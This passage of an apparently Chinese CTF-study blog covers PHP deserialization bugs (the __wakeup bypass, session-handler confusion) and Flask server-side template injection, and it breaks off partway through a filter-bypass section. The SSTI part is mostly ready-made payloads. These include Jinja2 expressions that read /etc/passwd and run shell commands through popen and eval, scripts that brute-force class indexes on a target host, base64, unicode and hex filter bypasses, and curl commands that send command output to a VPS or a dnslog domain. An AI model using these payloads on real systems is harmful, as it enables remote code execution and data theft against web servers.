大括号内分别是:属性名类型、长度、名称;值类型、长度、值
修改代码,定义两个新的对象$s_c和$uns_c,分别对应序列化的对象$c和其反序列化形式,打印对象
得到如下结果
以上就是一个正常的序列化和反序列化的过程
下面的漏洞就基于这个demo进行复现
编号CVE-2016-7124漏洞
wakeup()魔术方法绕过
版本要求PHP5 < 5.6.25 PHP7 < 7.0.10,这里我用的经典5.4.45版本
这个漏洞的核心在于如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是如果****序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
我有理由怀疑网上大部分的文章也是相互之间抄来抄去,甚至有个作者的代码里连个alert都没有就敢放上带弹窗的页面,真笑死了,随便拿串代码就开讲
从网上好几篇文章里看到的一份经典demo,笑死,根本跑不出来
为了便于观察结果,我自己写了一份demo
接收s传来的参数对其反序列化后输出name属性的值,加了换行符和utf-8转换(主要是避免汉字输出成乱码)
让输出结果看起来更整洁一些
利用前面test.php得到序列化字符串 O:5:"oasis":1:{s:1:"a";s:31:"研究一个demo给我整emo了";}
用这个字符串作参数访问s得到以下结果
可以看到__wakeup()函数率先被调用,随后才返回$a
那么我们把对象属性的个数改成2 O:5:"oasis":2:{s:1:"a";s:31:"研究一个demo给我整emo了";}
可以看到$a调用出错没有返回,同时成功绕过__wakeup()
Session反序列化漏洞
可以通俗理解成由于使用不同序列化方式导致的漏洞,例如如果一个是使用php_serialize,而另一个使用php读取Session。因为两者的格式不一样,攻击者可以伪造格式,从而控制数据。
Session序列化机制
当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。
PHP处理器的三种序列化方式:
| 处理器 | 对应的存储格式 |
| ————————— |:——————————-|
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
| php | 键名+竖线+经过serialize()函数反序列处理的值 |
|php_serialize |serialize()函数反序列处理数组方式|
配置文件php.ini中与session存储配置相关的配置项:
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
写了一个demo如下
在这个demo中,PHP默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码
ini_set('session.serialize_handler', '需要设置的引擎');。
在 php_serialize 引擎下,session文件中存储的数据为: a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为: name|s:6:"spoock";
php_binary 引擎下文件内容为: names:6:"spoock";
另外还发现了一个有意思的问题
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['oasis'] = $_GET['oasis'];
?>
执行上面这个代码,会报错 Undefined array key "oasis" in D:\phpstudy_pro\WWW\interesting.php on line 4
其中的array key就是代码中$_GET[ ]中包含的内容
不断修改session和GET的内容获取不同的报错后访问上面的session.php
我们发现session把所有的访问记录都保存了下来
而一旦访问了我写的另一个demo即session1.php后
触发了session_start()函数,session就会被重置(或销毁旧的session同时产生一个新的session)
再次访问session.php时,session中的访问记录就会全部消失
上述现象充分体现了存储位置temp的性质,真是名副其实
session1.php的完整代码如下
可以发现session.php与session1.php使用了不同的序列化方法
以此为切入点,我们的目标就是实例一个**$a=<?php phpinfo();?>** 并将其写入shell.php里面
思路是访问session.php让/tmp存储可以用php反序列化的poc
在interesting.php页面随便传递一个值 ?emo=123
因为session1.php采用php的序列化来读取session的值,所以我们可以控制123的值来构造语句
在interesting.php页面访问emo=O:3:"emo":1:{s:1:"a";s:17:"<?php phpinfo();?>";}
随后访问session.php,会发现写入了如下数据
遗憾的是我并没有成功地将<?php phpinfo();?>写进去,尝试了很长时间,百思不得其解
并且我也没找到session_savepath在什么地方,更别说生成的session临时文件了
后面的过程在下面这篇博客中讲得比较详细且没有误人子弟的成分
to be continued……
https://blog.csdn.net/nzjdsds/article/details/82703639?utm_source=app
##Flask框架的SSTI##
概述
Flask框架在使用了渲染函数时
由于代码不规范或信任了用户输入,使攻击者可以
使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板,从而导致服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
与sql注入的原理有些许相似之处,本质都是注入
注入的本质就是格式化字符串漏洞的一种体现
Flask程序基础
第一个Falsk程序
# 从flask中导入Flask,注意,flask是包名,Flask是模块名
from flask import Flask
# 初始化Flask
app = Flask(__name__)
# route是路由的意思,相当于一个路径,可以是app.route('/user')或者其他自定义的route,设置/则默认打开index页面。设置后在url后面加上路径如/user即可访问
#每新建一个route后面都必须会有一个def函数跟着
#注意用单引号或者双引号包含起来
@app.route('/')
# 定义index函数,index函数名可以换成其他的,不一定强制要index,这里也就是相当于写一个页面
def index():
# return的内容,会被显示在页面中
return 'Hello,world!!!'
if __name__ == '__main__':
# 开始使用本地地址和指定的端口(以8080为例)运行起来,如果不指定端口,则默认使用5000端口
# 如果不指定IP地址,默认只能本机访问,如果需要其他地方也能访问到本机开启的flask,则需要将地址换成0.0.0.0
app.run('127.0.0.1','8080')
# debug模式默认关闭,开启动态调试只需要在app.run原基础上加上debug.True,或者直接app.debug=True。
# app.run('127.0.0.1','8080',debug=Ture)
创建python文件做测试的时候不要把名字设为flask.py
原因是把运行的文件名定成了flask.py,但是flask.py本身就是flask的module,所以会发生错误,提示循环import
route
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello world'
@app.route('/user')
def user():
return 'username:oasis'
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
访问127.0.0.1
/user,就会return回username:oasisflask的route在php中可以理解为文件名,而def中的内容则相当于文件内容
传参
给url添加可以传入变量的地方,只需要在route中的路径后面添加标记<value_name>,然后使用def接收,代码如下
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello world'
@app.route('/user/<oasis>')
def user(oasis):
return 'username:{0}'.format(oasis)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
<>中是一个名为oasis的变量,将oasis放进def user()中,然后用format带入oasis,即可将用户传入的参数回显
如输入/user/deeem0就会输出 username
request请求
request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
from urllib import request
from flask import Flask,request
app = Flask(__name__)
#route中,methods要有s,并且方法用[ ] 括起来
#request和requests不一样,request是包含在flask中的,而requests是请求网页的,不能混淆
@app.route('/method',methods = ['GET','POST'])
def method():
if request.method == 'GET':
str = request.args.get('oasis')
return 'GET:{0}'.format(str)
elif request.method == 'POST':
str = request.form[' oasis ']
return 'POST:{0}'.format(str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
特别注意第一行和第二行中导入的request模块
request主要是用于在判断时,获取当前页面的方法
GET方法
GET方法用**request.args.get('[ 参数名 ]')**来接收从url栏中传入的参数,其中参数名是自定义的,比如定义了oasis,那么在url栏中只能填入oasis=xxx
POST方法
POST方法和GET方法获取传入的值截然不同,POST方法用**request.form[' [参数名] ']**获取传入的参数值,和GET方法所介绍的一样,预定获取什么参数名就会获取传入地参数名中地参数
两种方法获取值的关键字不能互通,别把POST方法的form[]写成form()。
这里我不知道什么原因post传参报错,无图
redirect
这个关键字在flask中用于重定向,需要配合url_for使用,url_for使用于构造url,比如常见的用法就是在登陆页面,输入正确的账号密码后,重定向到另外一个页面中
redirect和url_for也需要导入模块
url_for用于定义一个url,可以包含同文件下的其他路径,也可以包含外部文件。
import time
from flask import Flask,request,redirect,url_for
app = Flask(__name__)
@app.route('/login',methods = ['GET','POST'])
def login():
username = 'admin' # 定义username
password = 'admin' # 定义password
user = request.args.get('username') # 获取传入的用户名
passwd = request.form['passwd'] # 获取传入的密码
if user <mark> username and passwd </mark> password: # 判断用户名和密码是否和预定义的一样
return redirect(url_for('login_s')) # 如果一样,则通过redirect和url_for重定向到login_s中
else:
return 'username or password error' # 错误则返回用户名或者密码错误
@app.route('/login_s',methods = ['GET']) # 定义一个新的页面login_s
def login_s():
return '登录成功' # 返回登陆成功
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
模板渲染
所谓注入进去的模板就是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。 可以使用 render_template() 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。
在templates创建一个index.html,然后再py文件中定义好需要渲染的内容,使用字典格式(如下代码示例);
使用render_template将数据渲染过去index.html,如果有多个参数则 使用形参的形式传出,如下1.py文件代码所示,有三个参数,那么就用******contents传过去,contents是自定义的,保证参数值全部传到index.html。
index.html文件中,需要使用格式为 "{{ 参数名 }}"接受参数值,如'username':'vfree'
html文件中使用<标签>{{ username }}</标签>
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template
app = Flask(__name__)
@app.route('/')
def index():
contents = {
'username':'oasis',
'year':'19',
'Country':'China'
}
return render_template('index.html',**contents)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','5001')
<html>
<head>
<body>
<h1>Hello,{{username}}</h1>
<h2>{{year}}</h2>
<h3>{{Country}}</h3>
</body>
</head>
</html>
render_template_string
这个使用于渲染字符串的一个函数,此函数可以将html代码变成字符串, 然后使用render_template_string(xxx)将文件渲染输出,这个可以用于没有web文件的情况,直接在同文件下,定义好html代码,然后就可以直接渲染
render_template_string和render_template都是渲染,
但是前者是渲染字符串,后者是渲染web文件
同样地, render_template和render_template_string都需要导入才可以使用
漏洞原理
模板引擎注入,就是对象,把对象实例化,然后利用函数执行命令
当用户的输入连接到模板中而不是作为数据传递时,漏洞会出现。
例如下面的demo
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','5001')
html_str中的标签,其中str是被{{}}包括起来的,也就是说,使用{{}}包起来的,是会被预先渲染转义,然后才输出的,不会被渲染执行。
但是如果将8-16行的代码变为
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
直接将用户传入的参数值放入html_str中,对用户传入的数据没有任何过滤,经过模板渲染直接输出,且用户完全对输入值可控,就会造成漏洞
如令的传入的参数为v={{config}},就会造成信息泄露
{{}}:直接输出表达式的内容,{{7*7}}会输出49
{%%}:用于执行一些控制或者一些条件循环语句
{##}:用于注释模板文件的内容,其中包含的内容不会在页面输出`
基本流程
获取某个类 -> 获取到类的基类
-> 获取其所有子类 -> 通过获取__globals__来获取os,file或其他能执行命令or读取文件的moudle就类似于有个学生,你要找到他的班主任从而找到他所在的班级,然后要去找他的班长,交代给班长执行命令或者读取文件的任务
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法找到自己要用的函数。
对网上博客中列出的魔术函数做了一下整合和解释如下
python魔术方法
__class__ 类的一个内置属性,表示实例对象的类。用于返回调用的参数类型,查找当前类型的所属对象
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,用于返回类型列表,即沿着父子类的关系向上走一级。每个类都有bases属性,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类,用于查找当前类对象的所有继承类
__subclasses__() 返回这个类的子类集合,用于查找返回父类(即object)下的所有子类
__init__ 初始化类,返回的类型是function;所有类都有这个方法,查看类是否重载即程序在运行是否已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载可以利用其作为跳板访问__globals__
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。__builtins__ 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用。即里面有很多常用的函数。可以获取python的内置方法比如ord,chr等
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
config 当前application的所有配置。此外,也可以这样
{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
继承关系:class父类(也称基类),subclass子类,存在多级继承,层层递进
一切类都继承自Object,所以最终都能获取到Object类, 在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法
如果定义一个类时没有指定继承哪个类,则默认继承object类
Object是父子关系的顶端,所有的数据类型最终的父类都是object
type是类型实例关系,所有对象都是type的实例
object和type既是类也是实例,因为object是type的一个实例,type又是object的子类,type自己创造了自己,object是type的父类,type创造了object
使用魔术方法进行函数解析,获取基类
- 既然要找到父类下的子类中合适的函数,那么我们首要任务就找到父类,通过继承关系向下寻找基本类 object 的子类
- 找到重载过的init类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的)
- 查看其引用 builtins
- 寻找可用函数,直接调用file(读取文件)等的module即可
关于索引
字符串是字符的有序集合,可以通过其位置来获得具体的元素。在 python 中,字符串中的字符是通过索引来提取的,索引从 0 开始。
环境不同子类的位置也不同,相应地索引值也不同,甚至没有索引
不确定利用类的位置也可以用burp suite爆破
python 可以取负值,表示从末尾提取,最后一个为 -1,倒数第二个为 -2,即程序认为可以从结束处反向计数。
1. 索引获取特定偏移的元素
- 字符串中第一个元素的偏移为 0
- 字符串中最后一个元素的偏移为-1
- str[0] 获取第一个元素
- str[-2] 获取倒数第二个元素
2. 分片提取相应部分数据
- 通常上边界不包括在提取字符串内
- 如果没有指定值,则分片的边界默认为0和序列的长度
- str[1 ]获取从偏移为1的字符一直到偏移为3的字符串,不包括偏移为3的字符串 : "tr"
- str[1:] 获取从偏移为1的字符一直到字符串的最后一个字符(包括最后一个字符): "tring"
- str[] 获取从偏移为0的字符一直到偏移为3的字符串,不包括偏移为3的字符串 : "str"
- str[:-1] 获取从偏移为0的字符一直到最后一个字符(不包括最后一个字符串): "strin"
- str[:] 获取字符串从开始到结尾的所有元素 : "string"
- str[-3:-1] 获取偏移为 -3 到偏移为 -1 的字符,不包括偏移为 -1 的字符 : "in"
- str[-1:-3] 和 str[2] 获取的为空字符,系统不提示错误: ""
- 分片的时候还可以增加一个步长,str[::2] 输出的结果为: "srn"
3.利用脚本跑索引
我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类
这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子
search = 'popen'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
物理机python环境一定要整洁,要有一个用着趁手且没有问题的虚拟机,,另外需要注意的就是python2与python3中有些函数不一样需要进行替换,2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。
利用方法
贴一份利用手册
https://www.136.la/jingpin/show-174229.html
读取文件
file类可以直接用来读取文件:
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
索引值一般是40
使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用<class '_frozen_importlib_external.FileLoader'> 这个类去读取文件。
首先编写脚本遍历目标Python环境中 <class '_frozen_importlib_external.FileLoader'> 这个类索引号:
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}for i in range(500): url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}" res = requests.get(url=url, headers=headers) if 'FileLoader' in res.text: print(i)
得到编号为79
所以payload如下:
{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
命令执行
os执行
ython的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。
首先编写脚本遍历目标Python环境中含有os模块的类的索引号:
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}for i in range(500): url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url, headers=headers) if 'os.py' in res.text: print(i)
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。
寻找popen函数执行命令
编写脚本遍历目标Python环境中含有 popen 函数的类的索引号: , 直接构造payload即可
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}for i in range(500): url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url, headers=headers) if 'popen' in res.text: print(i)
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
__builtins__代码执行
内建函数中eval open等等可以命令执行
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
一种是获取os来执行命令
{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
一种是得到__builtins__利用eval来执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
#或者是其他可以得到__builtins__的关键字。
python中的subprocess.Popen()使用
{{().__class__.__bases__[0].__subclasses__()[258](%27ls%27,shell=True,stdout=-1).communicate()[0]}}
内建函数 eval 执行命令
首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号:
import requestsheaders = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}for i in range(500): url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}" res = requests.get(url=url, headers=headers) if 'eval' in res.text: print(i)
payload {{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
循环语句
当不确定调用方法的位置时可以跑循环并利用
os
利用os执行命令: 利用for循环找到,os._wrap_close类
{%for i in ''.__class__.__base__.__subclasses__()%}
{%if i.__name__ =='_wrap_close'%}
{%print i.__init__.__globals__['popen']('cat flag').read()%}
{%endif%}
{%endfor%}
__ builtins__
利用builtins执行命令: 利用for循环找到,os.catch_warnings类
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
无回显带出
当界面无回显时可以考虑带出
curl
配合system()函数使用,或者print被过滤
这里我们使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 外带数据的方法。
首先在自己vps上面开启监听:
dnslog带出
http://www.dnslog.cn/
curl whoami.xxxxxx
dnslog是dns的日志,dns在解析的时候会留下日志,如果我们有dns服务器,我们就可以通过日志来获取到什么信息。主要就是在popen里执行curl `cat /flag`. z6v8tj.dnslog.cn。后面的最后是在线dns网站生成的网址。
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(type=a)|join,f,g,dict(flag=aa)|join,p,q,dict(z6v8tj.dnslog.cn=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}XiLitter{%endif%}
三部分,第一部分因为数字被ban了,利用count来计数得到自己想要的数字,第二部分生成一个列表,用刚才得到的数字结合pop组建下标得到想要的字符,例如空格,反引号,点等。第三部分就是构造主体语句,利用os模块执行popen函数,后面用if语句判断语句是否能执行成功。
摘自一位大师傅的做题记录
服务器带出
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xxxx:4000/ -d `ls /|base64`') %}1{% endif %}
常见的过滤与绕过
常用的过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串。
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()返回字符串的长度,别名是count
绕过(bypass)
关键字绕过
利用字符串拼接绕过
我们可以利用“+”进行字符串拼接,绕过关键字过滤,例如:
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过
python 脚本
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"
payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])
利用编码绕过
我们可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA<mark>'.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ</mark>'.decode('base64'))}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
利用Unicode编码绕过关键字(flask适用)
unicode编码绕过是一种网上没提出的方法。
我们可以利用unicode编码的方法,绕过关键字过滤,例如:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用Hex编码绕过关键字
和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。
我们可以利用hex编码的方法,绕过关键字过滤,例如:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等同于:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用引号绕过
我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""ag 或 fl''ag 的形式来绕过如:
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
再如:
().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read(){{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}
可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用引号绕过。
利用join()函数绕过
我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
get 传参方式绕过
?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag
字符串拼接绕过
(config.__str__()[2]) (config.__str__()[42]) ?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}} 等于 ?name={{url_for.__globals__['os']}}
通过chr拼接
?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print url_for.__globals__[chr(111)%2bchr(115)]%}
通过过滤器拼接
(()|select|string)[24]
绕过其他字符
过滤中括号[ ]
利用 __getitem__() 绕过
可以使用 __getitem__() 方法输出序列属性中的某个索引处的元素,如:
